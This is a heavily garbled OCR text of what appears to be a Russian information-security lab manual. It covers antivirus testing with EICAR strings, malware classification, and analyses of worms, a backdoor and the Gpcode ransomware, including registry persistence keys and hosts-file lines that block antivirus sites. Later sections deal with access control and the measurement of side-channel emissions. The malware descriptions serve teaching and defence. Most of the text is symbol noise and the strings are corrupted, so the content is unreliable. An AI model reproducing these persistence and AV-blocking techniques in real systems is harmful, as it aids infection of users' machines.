23 -
) %% - H# 2 # , 2
% %% , $ .8 % ! % #2
% 3 # %% -, # #% $ # - 2
1 # % % .
* %% - - , %% , % ,- 2 %% % ! %
$ 6 1 ! %% , , - - , 3
6 %% 1 1 % .8 %% 6,, .
) / %% # 3 .
' 3 % , '6' "ol .. % %
6 ! .
% "l " 2 %% - , 23
# # $ %% I $ $ .
) % ! / %% - # .8 %% % %
13 # ! # 1 %% .
6' ! 2 %% - , %% -
% ! 6' ! -6 $ . 2
% 1 23% %% % , 1 % #2 , # 1
" $ % " / , % - . 8
# , %-2 7 1 .
+ , % / % I # % % ,
. H# % , $ % 3 1 $ 2
3 % 1 , % - . % !/ % |/ :
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1. / , % - ( / 1/ % / I -
$ ).
2.+ # # - / L/ %% / .

3. % $ % #2 $ % #2 1 I # 3 6, -
. % # % % ' %% % / %%
'3 I # ! % # # # /

%%
4. 3 / %% I $ , '/ * -
% #2 . / % /1 /' % -
# .
5 * ! / % #2 |/ 1 33 # TN
/ # , % - .
6. * # # % $ 2 - 2 % , 1 2
7. * ! /' % # # %% / /
, , $ %/ %#2 | D) # , ,
$ %H#2 % % .
. %%
1. Kaspersky Internet Security. -6 % / 3 , % -
% #2 # X I $ 3 / , 3 2
' % % % ,.,$ % 1 ,— 3 / .
2. DrWeb. ( | #2 "$! " $ 6 $ ,
23 2$% /S. % 1 #2 $ % w1l I # .
2% # 6 % t0-% % # 11— % # ,2-% % # ;
6 %, . # % # - # $ 2 $ . % 1 Dr.Web
# , - CPAV, 1 LZEXE, PKLITE, DIET.
6 # 28 /U ( 6 % , ! 3%
) /U ( D= , % ! # ),
, 3 Doctor Web 3 3
3. NAV (Symantec).* $ - $ %%
1 ! L # % % % $ % ! # # -
, I # $ #/ , - , , % .
+ - $ $ # NAV $ 2
-2 . 11 $ % | # 13 # % -
% / , % .
# # # %% %1 # % 3#2
, %23 # ., % .
DELE-X50!P %@AP[4\PZX54(P")7CC)7}$EICAR-STANDARDNTIVIRUS-TEST-FILE!$H+H*,
% 1 # % , - $ % ! - -
#/ 2%
* # ! !
* 1
* 1&
*, , - 1 * $ 1& "1 ;&
CORF- * 1 .
SUSP- ( »i .1 ) ¥
WARN- 1 ) % % .-
ERRC- ) -1
1 L& $ 2 6 %
CURE- " " % CURED.
DELE- 1 L& % $
6. "
1 ! :

DELE-X50!P %@AP[4\PZX54(P")7CC)7}$EICAR-STANDARD-ANVIRUS-TEST-FILEI$H+H*.
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%

/ # , % %, % , eicar_dele.com.
% %  Kaspersky % %%
2. * # # % , - , !
%,$! ! # # %
3. / % %
4, * # ' % #2
% " " % Kaspersky, DrWeb, AVZ , % ! 1
, 6 ! , % - o1& %
% ! % , ! /., 23/
%1 # -2 1 & $/
5 $ $ # |/ ! /
%%, # $
7
1.) -# ! ;
2. # % , - ! % %
3. # % 1 $
7. :
1. %#2 % % ?
2. %% R "?
3. / , 1 %% $ ! ?
4, 1 % ?
5. %#2 % % ?
6. * % % -2 % #2 ?
7. - 2 ! ?
8.) % 1 # %% 3 %#2 |/
9. 2 %% - ?
10. ?
11. 12 %% ?
12. - %% - , %% -, #
0 -2%
+ , <. ) !
v 3 , % - y ey - $ ,
# % , l.grishhenko@corp.nstu.ru
+ : 10.05.03+, % - ! # %
' $ , % - ! / , %-
, * %% $ , % -
+ 7 (
1. :
5 - 1 % #2 - #2 ! %
# 23
2. *
5 % # % 3 , % - -1 $
%
0 :
5 % % % 3 , % - -1 $
%
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o w

SFS

o1 o1 o

o1 01 o1 o1 o1 o1ol ool

ol o1 0101 O1TO1TO1T o1 o1 O1Oo1o1 o1 oo oo o1 Ol

Windows., MS Office,

(< -1,2((- -2048! , HDD50Q! )
2 :
/ 1 , 6 ! /
, # 1 - ! - #2 ! %
# 23
% #2 12 23 % %
I # % ! 2 ;
I # - 2 % - % & % -
I # 2 #
* $ ! - % ()
%% 2 I # $ 2 I # # ;
6 13 , % C
! % #2 3 % ;
) 2 $ %
- % 1 ;
% % % , - , ;
% % , ;
$ # $ $ ; ;
3 % # % ! %
%1 - # 23 % %
% |
% # - ;
-'$ "
$ ;
$ ;
- % :
% , .
!
$ ;
- # :
% .
! 1
% %1 %
! ( );
(12 <)
$# (12 ).
! 1 # , - 2 1 #
%% %% ). $2 % %/ % !
/ %%
' (Trojan-SPY) — %% /3
/ 23 , 23 , - #2 23 $
%' .
| # (Trojan-PSW) — %% , 1 $
, # 23 1
(Backdoor) — %% ,! $ 23
# %H#H2 % # .
% smtp- (Trojan-Proxy) — %% 23
$ / # 23 % $ % -
% I %
, ! (Trojan-Cliker) — %% ,% 23
- ! .- 3 - , -
/ 13 + - %
+ / %%  (Trojan-Dropper) — %%
3 %%
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7. $ / %% (Trojan Downloader) — %% $

% #2 / / %%
8. % . (Trojan-Notifier) — %% $ -
13 % % % / 1 % % #2
9. " %! " [/ (ARCBomb) — %% 23 ! / , - #
, % % ! % ,$! # ' / -
/ # .
10.: $ 10%! — %% / / 2
? - 2% ! -/ ( , )
/ , , w1 # ! - -
% , / % & % , .
* , 2 3 % 2 -
3% | 2 ( , , )
" , , 23/ 6
1. % #
2. * «1 »
3. 1 «1 »(,- )
4. / ,
5 * % %% - 2
, % # 3 % -
% 1& , .
* ! «1 » % 1 #
5 , 3 23 « » # % , - :
5 , 3 23 « » %3#2 %/ % « ' »
%% / , ( $ 2 % ).
+, - 1& % #2 % 3 $% 1% -
% . "% $ 6 1 1 % 2
! $ 1 & ( , $ , )
* %
* 06 % 1% 1& 6 % 6 % # -
# ! 1 % , 1 $ 23 3 / (¢, ,
«% - » ) P S # , 3 ', -
3 % ,- , $ ! $ % , # ! #
% % ) ! % %% % , - 2 23
5 % %/ - ;
5 % / - 6 # ! ;
5 % # %/ -/ ;
5 $ % I % "% 23/ -
* / , - « », « »,
« » «$#H »
«l / » / # , - % | .
«) » -6 , / % $ % 6, -
, % %% % % .
« » % # $ ! % . «$# »
' 2 %% / .
* - % 1 %1 !'# #
5 - ;
5 1& 1 ;
5 / ;
5 /
3 2 1 / - /[ ! % -
? - $ %1 #
5 %
5 - ;
5 "1 "
5 ;
5
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/ %% - % 1

1 - % # $% -
5 % #2 ;
5 - ;
5 17/ , - .
, , 1 - . *6 %
# % 1 # # # /
I 6 |/ ! .
. % % W32.Explet. A@mm.
1 , 23 :

1) 7 mutex %  "Expletus"”, # % % 1#
2) , %Windir %\system32\upu.exe.
3) ! % :

"NvClipRsv"="<path to the worm>"HKEY_LOCAL_MACHIE\
Software\Microsoft\Windows\CurrentVersion\Run

4) KazaA

"DIDir0"HKEY_CURRENT _USER\Software\Kazaa\Transfer
5) o %

AVP5.xcrack.exe

hx00def.exe

ICQBomber.exe
InternetOptimizer1.05b.exe
Shrek _2.exe
UnNukeit9xNTICQO04noimageCrk.exe
YahooDBMails.exe

6)
hx00def.exe
ICQBomber.exe
InternetOptimizer1.05b.exe
Shrek _2.exe
UnNukeit9xNTICQO04noimageCrk.exe
YahooDBMails.exe

7 * , / file %oWindir %\system32\drivers\etc\hosts
127.0.0.1 downloads-usl.kaspersky-labs.com
127.0.0.1 downloads1.kaspersky-labs.com
127.0.0.1 downloads4.kaspersky-labs.com
127.0.0.1 downloads2.kaspersky-labs.com
127.0.0.1 downloads-eul.kaspersky-labs.com

8) * % 1# $ % # LSASS DCOM 135 445
9) +3 $ TCP . # ,6 %1 # ! % % #2
10) 6 $ , .htm.html.php.tbb, .txt ' %

%}, / / / C V.

# ! 6 $ / , #

1.)YY % % # % , (Windows Me/XP).
2.) 0 % I # 2 ro.
3. * % % #2 % 1% VGA 1% .
4, % % , , 11 W32.Explet. A@mm.
5. % 7 % %
6. % ' , /
6. "

8 L 1 - (?< ) Win32.Gpcode.ak
5 # Win32.Gpcode.ak -, - .
5 . # 1 - % ! % ,$! 1% 6 <,

% ) -

5 %

- - Win32.Gpcode.ak.
* % : Win32
%% ,', 23 , # 1 % % #2
1 % Windows (PE EXE- ), % %  8030!
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* % % #2 # , (mutex) _G_P_C_,
, - % .
, # % i / $ / /o, -

' ' # # 23 % ' -
%: 7z, abk abd, acad arh, arJ, ace, arx, asnpz2z,bak, bcb, c, cc, cdb, cdw cdr, cer, cgi, atmh, cpp, €SS, CsV,
db, dbl, db2, db3, db4, dba, dbb, dbc, dbd, dbeddt dbm, dbo, dbg, dbx, Djvu, doc, dok, dprgdexf, ebd, eml,
eni, ert, fax, fib, frm, frt, frx, frg, gtd, gz, g% gfa, gfr, gfd, h, inc, igs, iges, jar, jad, dajpg, jpeg, Jfif, jpe, js, jsp,
hpp, htm, html, key, kwm, Ldif, Ist, Isp, 1zh, IzWdr, man, mdb, mht, mmf, mns, mnb, mnu, mo, msg,mxI, old,
pl2, pak, pas, pdf, pem, pfx, php, php3, phpdprl,pgp, prx, pst, pw, pwa, pwl, pwm, pm3, pm4,5mpmé, rar,
rmr, rnd, rtf, Safe, sar, sig, sql, tar, tbb, tl, tgz, txt, uue, vb, vcf, wab, xls, xml.

# - 2 %  Windows -
% (M|crosoft Enhanced Cryptographic Provider v1.0). "2 % 3 % RCA4.
2% ', % ', % 25% RSA( 1024! ), 13% .
% RSA 2% ", LF -
' %3 RSA : 8! ,O# 13 $ % # #
2% .., # " 13 %1 # % 2%5% .
Y, 2 2 , %232 # % , '
% ! _CRYPT.* %
- $ # . WaterlLilles.jpg
-, , : WaterlLilles.jpg._ CRYPT
% $# , .
1 , ! " , %% % 3 ,
«!_READ_ME_!.txt» 23 1 :

Your files are encrypted with RSA-1024 algorithm.
To recovery your files you need to buy our decrygpto
To buy decrypting tool contact us at: [censored]@gacom

=== BEGIN ===

[key] === END ===

" , |3 Program Files, 2 2 o1
", , : %23 ! « % » o« » 9 23 % % # 10! % -
23 % I # 734003200

/ ! ! % % .

* $ 2 ! VBS-, , % # -
2 6 MessageBox — 13 !

8 2 1 - Backdoor.Win32.Landis.b:

5 # Backdoor.Win32.Landis.b -, - .
5 . # 1 - % ! % ,$! 1% 6 <, -
% ) ! -
5 %
Backdoor.Win32.Landis.b.

Backdoor Win32.Landis.b (« ») 1 :
W32/Generic.worm!p2p (McAfee), W32.Chod.D (SymaptedBackDoor.Generic.1066 (Doctor Web),
Worm.Mytob.GH (ClamAV), Trj/MuIt|dropper ARF (Panjja %% %% -

23 %' 17 %'
$ IRC.* ! Windows PE- EXE . +% % 113
* - 16 $ % % % % % Windows
! 6 % % csrss.exe.
1 ! 23 ,

—  %System %\drtusi\csrss.dat
—  %System %\drtusi\csrss.ini

* $ # % , . ! -
: %UserProfile %\Start Menu\Programs\Startup\cktiss.
% ! 2%/ %

[HKLM\Software\Microsoft\Windows\CurrentVersion\Run
[HKC U\Software\Microsoft\Windows\CurrentVersion\Run

"csrss''=
* 0% $% % IRC $ % 7
« ». / % $# ! 3 # #
% , 1 3 # % #2 , S #
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*%% 6 . %% ! 23 , - H# #2 :
1) % %' % MSN Messenger , -
23 # $# 2 ! ; 6 % #% | :
http://www.vbulettin.com/[removed], $ # /1 1 -
Virus Bulletin, %1 # i # ;
2) 1 % % #2 $/ :

4) $/ / - ;

5) % #2 :

6) DoS-

7) %" ! , % - % , %$ % / -
, % - ;

8) 1 % % #2 $/ %

9) /1 .

6 % , %System %\drivers\etc\hosts, 1 ,
% %%,! 13 % % :

127.0.0.1 avp.com

127.0.0.1 download.mcafee.com

127.0.0.1 kaspersky.com

127.0.0.1 zonelabs.com . .

Landis.b 1 % - , 13 % |/ 23 : bbeagle.exe,
regedit.exe, winsys.exe, zapro.exe, zlclient.exe.
8 3 1 - W32.Zotob.A:
5 # W32.Zotob.A -y - .
5 . # 1 - % ! % ,$! 1% 6 <, -
% ) - .
5 % .
-, - W32.Zotob.A.
W32.Zotob.A — , 6 23 % # Microsoft Windows Plug and Play ,
2 12 ! MS05-039.
W32.Zotob.A 1 % #2 % Windows 95/98/Me/NT4) %
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HKEY_LOCAL_MACHIN E\Software\Microsoft\Windows\CurréVersion\Run
HKEY_LOCAL_ MACHINE\Software\Microsoft\Windows\CuentVersion\RunServices.
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HKEY_LOCAL_ MACHINE\SYSTEM\CurrentControlSet\Seones\SharedAccess
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7. ( $ P 3 P . # IP
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192.168.0.1$ # # IP , $ 192.168.x.X.
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Windows Plug and Play , 2 Microsoft Security Bulletin MS05-039
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127.0.0.1 symantec.com

127.0.0.1 www.sophos.com

127.0.0.1 sophos.com

127.0.0.1 www.mcafee.com
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« », # , 1 % « 2% » % ! #
232 , - 2 % % .
5 # / # % Userl User2, # %
4, % / .
% % % 2 | # «DL8.0:*
L, L # « », # , 1 % «
2% » % # , 1 «* % »,
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# %%
7. :
1. $7% 2% % - $ ?
2. %/ % % % ?
3.1 l'# % % %/ % % % % ?
4. | % , 23 # 1 [/ ?
5 1 % # ?
6. / 1& , % # - ?
7. / [ ' - % ?
0 -43% 2
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> 1.1 $
1. % %  student % « »( # 6
# ! ).

241



KHH# student % % %  DallasLock.*6 %
/ # % # - 6 $
+% # # 112 %
DallasLock.
2. % 3#2 % DallasLock # / # 23 -
% % % :
= : * % #
1 Secret_Ivanc
2 Secret_Petrc * *
3 Oper_lvanov
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) 2 ! % ! % # -
, , 6 %1 # 1, %1 ! %
> 2." $
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* # 1% ! % ,
* # 2 $ ( $% % % )
* % 8+ .
* % *8 + 6
* $ 33 # 33 1&
5.
* $ 1 /$ () %
%1/ *8+ 2% , %/ $ % $ :
* - *8 + 6 $ 23 8* 10 (- 1(- ;
* - *8 + % 23 8* 10 (- 30 (- ;
* - *8 + 10 (- 300 (-
* % $ |/ 23/ !
-#% % 1% (1% |, % ! % % #
- / 1% # 2 - #% % %% %
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% % / ! , % VGA % 1% %
$ 6 $ 1 # , $ ) ..( %% Monitor.exe !
$% . 2% %1 1% % 2% 2% 3
1 % Y
* / 1%/ % ! # ! # #
# # # % # % #
# # %
% ! % ! % 1% 1 $ 2 % % #
% # , $ /
% % # - % $ % " #
, 212 $ 2 , -2 % 1 # %% % $ /
(  #1 ), - # 2 $
%% #/ $ % $ o #
2,3,4..n) .8 2 % %
# , $ 2% $ % , 2
3 % ( % )!
3 # / $
1. $ $ ! % ,
, % , % % VGA % 23 , % :
Ne..  b8h8—y 84-
b— % ( | )Yh- % ' (
[ )= — $ %
x g . % 5 (-
2. ) - . % % % 2% %
x % ( .1), # -, %1l - # $
% # , 1 ! $ % %
L1 % VGA( $ % # )
3. * $ |/ 23/ % % % $ % * -
$ # , %1 # # % % ( %
«) »). * % ! % % 11 6
(SPAN) 2-5(- .* % # %
(RBW, % 2 CPL) 10(- .+ % 1 U % # 10(-
$ 30(- 100 (- $ © 30 (-
1 % % % 3#2 23
/ 2% %% .* % VGA %
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2. VGA % , 1024 768, $ 60 (-

6. " < )
1. + ">H#
1. # 2 $ $ $ % % , % . # $
# $ % %% ., # $ # $ .
2. * 2% # - , % - # ! VGA. % -
(R,G,B) «% » # 1% % 1 # 6 -, $ -
% # % . <3 »% # 2 $ 23
$ % % # ($ % # ) 2 $ % %
- #$ $/ % # . # $ #
$ . # ' 6 - , 'l % % # ,
% 23/ $ $/ % # LD # ' $ .
3. 2% # - , , # % 2 % -
. % $ % I # % #2 .+% # -
1% % $' -
- ( # % % 1 &% , %- ).
4, # 23 : SPAN - 2 (- ; RBW
(2 CPL-10(- ( 11 , % # I %
$ 10 100 (- , ! %. ') - % Unit
(2 Ampl) % ( ! $2 ! # , -
% % $ 2 ! ' $ 6,, - $ ! Lo
, ! 1 , &% - $ - % 1
8* | % /% ! $ 6,, - ! , ! ).
5.+ # % 2 % (Ampl), % $ 2 (Ref. Level), # -
# ! % $! / / .
2% # , -2 # $ - = 10 (Average)% 2
Trace/More.
% 2 $ (Freq) # - #2 $ , 232 %
$ :
+% % % % 2 MRK), 323 -
. % $ 2 232 % % # % , 11 -
% , %1 # # Peak.
6. + # 2 % ( 2% I 2% 1% ) # -
1 # % %
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7. $ % - 33
. # % (2% ) %
- %1 '"%% +% % # 3 , 2 232
8. * $ 1 % # $
# 33 I/ % +
2.+ "> #
1. * % $% I %
2. $ 3 10(- -300(-
3. % 2% ! 1 2
( , 1 % $ %% - ,
4, +% % , 3 $ - 1 1 I/ %
5. % / ! ! % 2 6
6. * 25 % ! 1 * 400 % ,
/ $ /.
7. $ % - 33 (
. # % (2% ) %
- %1 '%% +% % # 3 , 2 232
8. % , - /
*8+)
9. . % # ! Ri, I %
2 33
3. 7
1. # - # .
2.* $ # % / ( % % ,
3.* $ # % # ! (% , % ).
4. % %
5. ! , % - ,
6. ' %
7. . # % $
8. 33 / 33
7.
1. *$ $ , % - $ *B+
2.+ % *8 + % % ?
3. $ - 33 , % -
% % 23 % ?
4, ! $ % ?
5. % - 1% ! ?
6. !
7. - 33 $ % *8+ ?
8. - 33 $ , % - $
0 —-43
+ , , <. :) |
3 , % - y e 23

drej.ivanov@corp.nstu.ru.
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+
10.03.01+, % - !

, 1$

: 10.05.03+, % - !
#
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%
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+ +

%

o1 o1 o1 o

%
%

% #2

o
N

5 +9% -
5 +9% -
% «

5 +% -
%

%/

#

% ’

% 23/

% ’

% % 3

«
RFI-07.

»,

%

« »

*  SEL SP81 ORACLE.

% 1
% 1
% ’

% ’

%
33 %

'$ / $ , 23/

%/ 1& I's$ |/
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/ / 23 , -
6,, ' $,! %/ - % I/ % -
$ /" # -2 3 23/ % , !
$ , % - % ! 6 # / , , I
11 1 ., # % # | I # /1$ |/
% &% , %- , 1 / % % 13
#
&7% $ , % - 1 $ 2 $ % %/
% % , % / "% %'
- # 23 , 23 , % -2
% 1 # % %
1. * # %%
5 HF( )- ( % ).
5 VHF( )- (% ).
5 UHV( - (-% ).
5 SVF(GHz) - ( % ).
2. * %3 $ :
5 % 3 ( 10% ).
5 % 3 ( 10 100% ).
5 # % 3 (¢ 100% ).
3. * # %/ :
5 % % ( ,NFM, WFM -% - ).
5 1% % (% ! , $ , % - (M-
# # , ) -2 c) $ 3 $ ).
4, * ! % - :
5 % - 3 $
5 % - %1l $ $ ( % - )
5. * ! - $
5 ) | (“% ")
5 1% $ - $ - Io- $ (“1 ™)
23 % I # # % '$ , %
% , % 1/ # - , 6
# , 6 % $ , 1 , % $ , % , , % #
* / 3 % |/ $ ( % ! ),6 -
% . , 1 $ -6 -
, 2 )
% % 3 $ $ % | 2 -
3 #/ $ #/ 1 % - .* 6 -
% , % ! $ )
# 23/ % % $ % %2 %3-
# $ 10 % # # $ , % - 100...200% $2 6 -
% %3 #2 $ # % # #2 $ , % -
500...1000%
* # ' $ ( % , 6 %! #/
% )%3 # $ % 1 # I 100% ,$ ! $ # # -
$ , %- # % )
% 23 % / % , / 23/ -
&7% , % - 2$2
5 . $ ( , % $ / 11 ) % - -
, % - % % .
5)% ( ) I # ( ), / 3
5 * ' -% I % % , % )
$ .
5 # % % )
5)% % |/ $ ( % ., % / I ).
5)% / 6 % , % / '$ I % -
% %
5)% / : % / $ -
% $ %
P 23/ / 11
$ # !, , # / 8 ,
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I # /[ 112 '$ $ , $ , 3 #
% |/ , %/
% 23 / - &7% , % -
5 1'$ % 3 % ( 23% )% 3 % $ % ( , % $ -
% );
5) % % 3 $ 23 $ % $ % -
- , %- % $ % % .
. % $ ! / , % - $ , -
% ! , $ / - , % ,
$ % / , % % # ! -
: , , % , 23 % ,
% * - ! % 2 , %
3 # ! !
6. " (< )
1. % # % .+ S H - 6 - !/ 3/
' - - $ % RFI-07.
2. 1# =1( ) #2 / # -
% 1 % 2 22# (1 # , 1
% ). * %3 T- - % # I # ( [
# % # $ # ) / / ! -
- ! % % # % % % # % 1/ 2 $ % %/
! .. H# % ( $ % / / /) 1 -
11 « ), # $7 .
3. * % 3 $ % RFI-07 % # $ . # -
# $7 ( $ #2 / - ).* I/ % 3 # -
! YO# $ ! ( % 2 ! ). -
% 1 I % 1 % % $ %
* 0 # % 1 1% 2
4, 2% # - % « » $ # / ! -
% MEMORY PASS.. 1 ! 1% - ( -
23 N, # 1% # / Jx # -
% ( - - ) 2% # ! 6 1 1% % # % -
( / ).* 1 ! - # , 1
5., # 13 $ , $ 1% % -
( 7% 1 % % $ ), $ 7/ 3 # -
- % , 3 11 % 'OH2 ! 001(- ), -
$ 7/ / , # I - 1. 3 #% - % -
68-108 (- " % $ 1 ( % -
). ) 7 % $ # , 3 3 #% - % -
$ % , 1 23 $ % (! # , - %
% ) 3 # - - % PASS - -
% / / , # $
* 1-1- # %
= % 1 2
% ,
13 -
WFM
NFM
AM
PM
- /
2% # .+ # 4 ( MEMORY PASS $3# 1), % % -
# 1 I - 1.
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* 2% # - % « » ¥ % 3#2 ! , |l 3 % -
, # * SEL SP81 ORACLE (COM 1)$ # % # MEMORY PASS. 2$ #
# 1% C # $7 I - 11/ , -
3 # 2 1 / $ ! % 3
) # % F % # 6 - %% % -
% $ (1% 2% ). #
$7 - %% , 232 -2 ( % | %
% 3 ).
23 # 1% / , LD H , 2% # -
, $ ( # 23 3G EDGE), ! % -
% C # 100-150% ' #
#/ % % % , ,
3-5% % C # $ $ % 6 % -
#2 $7 ' .
% # % % % % « », * -
23 % s # $ # % -
# 2 .
7. :
1. * % .. %
2. $ % ?
3. % ?
4. . $ , ?
5. . $ , % - ?
6. - $ , %3 ! ! ?
7. , - ! % - , # %/ , ! ?
8. , - ! , % , % - , ! ?
9. % 23 / $ ?
10. , % % % ?
11.* - ?
12. , - ?
13. # ?
14.+ $ % * - ! ?
15. 23 % ?
16 - % ?
0 —-43%
+ , , <. D) ! /$ -
. 3 , % - , # $ # $ ,6. % -
: telichko@corp.nstu.ru
+ : 10.05.03+, % - # % / %
+, %- ! # % / %
, /$ 3 , % -
+ ( ; =
1. :
5 % # $ % , 1S % % % ! %
«9 » - % ! / 6 % % «9 » I #
%% ' $ «9 -+ », ! % !
"% % % $% 1%
2. * ,
5 2 ! 6,, 3 , % - .
5 # # % # 6,, /$
3 , % -
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/
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/

%
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%
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$ "% %  Larson&Davis # 824
# $ !
"% % 11 1.
.1 3 %
* o ! %
( «© |/ 2+ » % %
$ $ ( ) ' % :
% % , % 1.
8 $ % $ %
/ % . 9% % |/
) / / 2 !
- % "% % 125% .
2 ! / % #2 ( .2).
2. % %% #
% 6 % % %
23 % 2, % ! % / %
, 123 - $ % 2
) #% 6 , % % #2 3
, 2 % # $ )
%/ , % / % 3 ( ),
* 6% % 23 # $ $
! $ / % % !
# %
! % «9 »
! % 1 I #
%% % 3 $ % #2
1% 0 $ % «9 », %
% $% 1% !
2% % 1% $
3 ! % . # %%
%% «9 -+ » $
3% %' - 6 %%
/ / 2% "% % / 23
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# % "% % % 6 % # #2
«* 9% "% % % # $ » "%
% # » « | "% % » 1 # 5, ! "% %
% '%%
# % *8 "% % , 6 « »
<& » # % - *8 , % '"%% )% *8 , # -
% 23 "% % ,%1 ' # % % ' % . $ -
# % %1 $ *8 « # » 1 ¢ !
$ "% % # $ /I .. % $
$ / "% % « # »-192000 /. /
6 % % I % # <& % # »
$# /% # # $ / "% % 6 I % "% %
1 # «Tollss«Communications/Bound» # % # $ «19200».! # ,
$ «|ICP- » % # » L* $ 6 ,
%% 2% $ ICP- % #/ $ % « ».
$ % % 6 # « | -
» % # », 6 % $/ / + $ -
I - 23 , # / «* I % /* » « -
$ % » K ». / 6 % %
I % # <% # » «)$ ». 1V %
% # # '% # # # +.") 1. $/ / -
1 | # % % , ( % ) % % -
#2 ( %% '3 ).
* $ 1% ! 6 I/ % # « %% »
% 1$% * 6% « %% » * «9 » « %% -
» $ % «9 » $% 1%
«1 »— 2% /| 2% «/ 1» 1$
«2 »— 2% /| 2% «/ 2» 1$ .
«! » 1 % 2% 2% («1 »
«2 ») o« "% ».
, «|CP- » 1% % Q3% # »
« %% » 2% $ ICP- % #/ $ '$ %
«9 », * $ , « %% » -
% 1 DV % 1 # % #2 % I
! % I/ % '$ % #/ $
)1 # ' «TOOLS» ¢ % ) "% % ¥ 6% 6 "% % -
% % 2 . 23% "% I/ % #
-2 «CALIBRATION» ( ! ) % 1# ' » « » $ ! %2 ! -
. % $ ! ) ! # 2% # -
1 «94 » | # . $ # % I % , $ 2 -
«CAL LEVEL» ( # ! ) % 6 $ 6
-2 «CAL LEVEL» ' «*, » "' % % 1% -
23% "% 2 1 $
* "% % 1% «CHECK» ( # ), 2% # ! "% % 14#
' &« »* % ! 1 # # «94 | », 6
' , I/ % # 2% # ! , % "% # -2  «Change»{% -
#) ! * 1 ' « » | 1% ! , -
$ , # ! # 13 , % % $ -
B! % % $ # % ' $% 2 94
) 6% - ! $ DY % % # ,9 ! I/ %
# 1 %
N % $% 1%
N % $% 1% % % % % "% % 3
* 1 ' «SETUP» ( ) "% % % 2 . 23%
"% I/ % I # , -2 «SLM&RTA.SSA» 1# « » |
! % I/ % 1# ' «RUN/STOP». ! % ,
% ! % 6 , I3 $ . 8 $ , $ ! -
% . 1# ' «RUN/STOP», 6 % ! % %
, 23 $ %
1% «SLM-RTA» 6 %1 $ % # % -
6 I/ % 1# ' <VIEW» % 3#2 23/ '
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, % , «RTA» 1% ! < ». «RTA» 3/
/ # / / $ .+ # 23 '

% 1 % # % $ -/ % 1% 6

# $ % ! % N

% $ , ' ! . %3 % % 1 #
% 3#2 , , %3#2 $ $ % 1% 6

6. " < )
1. ' # ! 2
2. 2% # *8 , 1$2 , # %% I $ %

*8 '$ , # %% 1'$ % # %

% % '$
3. *8 $ $ $ I - %
4, * ! % , % I % 2% # , 6% ! #

|$ l ' .
5. * # ! % , % I % 2% ! 1 '
1& # $ .
6. * "% % 1% % (, - SML-RTA.SSA).* % "%
% 3 % # % % # #  '% . # /% |/

3 3 % % # # "%
7.
1. $% YV % $/ 6,, - $/ M- ?
2. $% U % I # % % % ?
3.) % / ! "% % ?
4. *$% # # # "% % '$ % !

% *8 ?
0 -43
+ , , <. S #$

13 . % $ , pm@festu.khv.ru
+ : 10.05.03+, % - ! # % / %
, 1$ 3 , % -
# ( < ( ">0
1. :
5 1$ - % % 1%/ 6 % / $ (*8 +
$ # / 6, - $ /
*8 + % % ! % #2

2. * ,
5 # ! g+
5 # % *8 + / / $
# :
5 | % - 23% ! % ;
5 -, - , /
5 | % %
3. " - (
5

- IFR2399C.

— % # # + 5-0.

— % # % $ +. 3-2.

— 23 -1

- %%  «Monitor»
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$/ / $ ' $
5"
$/ /$ % 2 [ , % - $
, 1 #2 # # % 2 , , % % '$ %
% % $ % % *8+) ).* % % 2 *8 +) ,
L % , % - .
; *8 + $ % , 1% % " % , 6 % !
#2 , 1 % % , / , -
% 1 | # " % $ ( - - - ), # #
/ , % - # % .
# % % #2 I # $ $ /
% %/ ,%- % # % / L H [ %1
6, ! # $ #/ % .3 2
%% # 23 *8 + $ I % % #2 , % -
23% % % $ % % % 0 )
/ (+) ! % # , % B+, # $ ,
% % /$ % % 1 't %2 % /'$ %
, %-2 . $ 2 H % 2 2 $ /$
. $ $ 1 , # % /. $ ! #
*8+ % % /'$ % % 2 - #
! L % 2 23/ (/ % [/ .
* B+ - , % , %1 #
I # $ , % - 6 % # $ 1
. $ % % , %
% ! , — $ % .
* % %1 # % $ # '%
11 . % 2 $ ) 1 2 $ 9%
$
+ $ - , % 2
% , ! $ ! . 6 %
$ # %/ $ # %'2 % , %
*8 + % $ % $ $ 6, -
* ) ( $23 - )
% ! % I #2 # ! # , % *8 +
3 % . % ! 6 %
% / ( % $ *8 ) % 3 % # 3 $
% *8+
6. " < )
* 2% # % # 2 + 5-0.
23 # # 6 $ , % 23
2% # # 6 % 2 *8 ( # -@gjiOkns).
# % *8 % ' 6 $
11
$ # 1 ., % $ $ $
F =A BXI%_A’[(- ]
- $ $ ;- $ $ i F-$%
11 , (-
# 2 %% ) $
5 1$% %%  «Monitor» # ;
5 | # -2« $ »!
5 1# ' « # » # 23 %
- % 6 -$ 3 $
- - « % » $ -$ :
- - « » $ - :
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— $ = 1- 1,
— $ = 2 - 1,
- % 6 —1000% ;
- % = 1-1%:;
- % = 2-1%:;
- % ' —500%;
- % % $ —1000%;
- 1# ' «<* % # ;
5 1# ! « »;
5 6 ! $ % ' 1 $ / I/ # -
/ ,
5 %% 1# ' «Escy;
5 $ 6
- 1# ' «FREQ» ;
- % 3#2 1 % $ $ % -/ ,$ , % (2);
- % # $ % 3#2 ' , 17/ 6 («(- »);
5 # ! :
- 1 # ! «SPAN» :
- % 3#2 1 % $ $ % -/ , % -2(- ;
- % # $ % 3#2 ' , 17/ 6 («(- »);
5 #
- 1 # ! «CLP» :
- % 3#2 1 % $ $ -/ , % -3(;
- % # $ % 3#2 ' , 1/ 6 RBW (F2)
(« (- »);
5 3 # %
- 1# ! «FREQ» % 3#2 323
# # % - ' 1 $ $ $ ;
- % # # % 3 ( %) %3#2 % % 1 -
«MKR» % 3 % ;
- $ % 3 1
Upe 1=107 = Po; )
5 $ # 1 # 6 $ 23 6 %
Etoe 0mg=U oo 1+ K s €)
* # % '/ % |/ (2F, 3F
2000 (- ) # % I -
f, (- Fr 2F 3F 4F; Fr
) 1 U %
611 - ! kAl /(%
) 1 # E, % /%
* 2% # % # 2 +.  3-2.
* # ' - $ 30 (- .S # 1 #
% 23 6 %
Wi g=Uoe 1+ Ka sog (4)
# % - :
f, (- Fr 2F 3F 4F; Fr
) 1 U %
611 - ! kAl /(%
) 1 # WH, % /%
$ ! 1 1#
5 ! % /$ |/ / # % ! -
5 I- # % % / / $
7.
1. «!$ 6 % $ »?
2. % - % *8 2 «, % *8+  »?
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3. % - % *8 2 « , % *8+  »?

4. % - % *8 2 « , % *8+  »?

5. - # 2 %% ?

0 -4%

+ , , <. t# % ! -
# $1 ' | « % - # #

% % X » (% ), . ' , .34, . % ,

443086, . . . o # . ., dworyninowsm@mail.r
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: ol (
+ : 10.05.03+, % - ! # % / %
10.03.01+, % - ! #
, 1$ / 1&
( -7
1. :
5 +$# -2 - % / [ 1/ 3 , % -
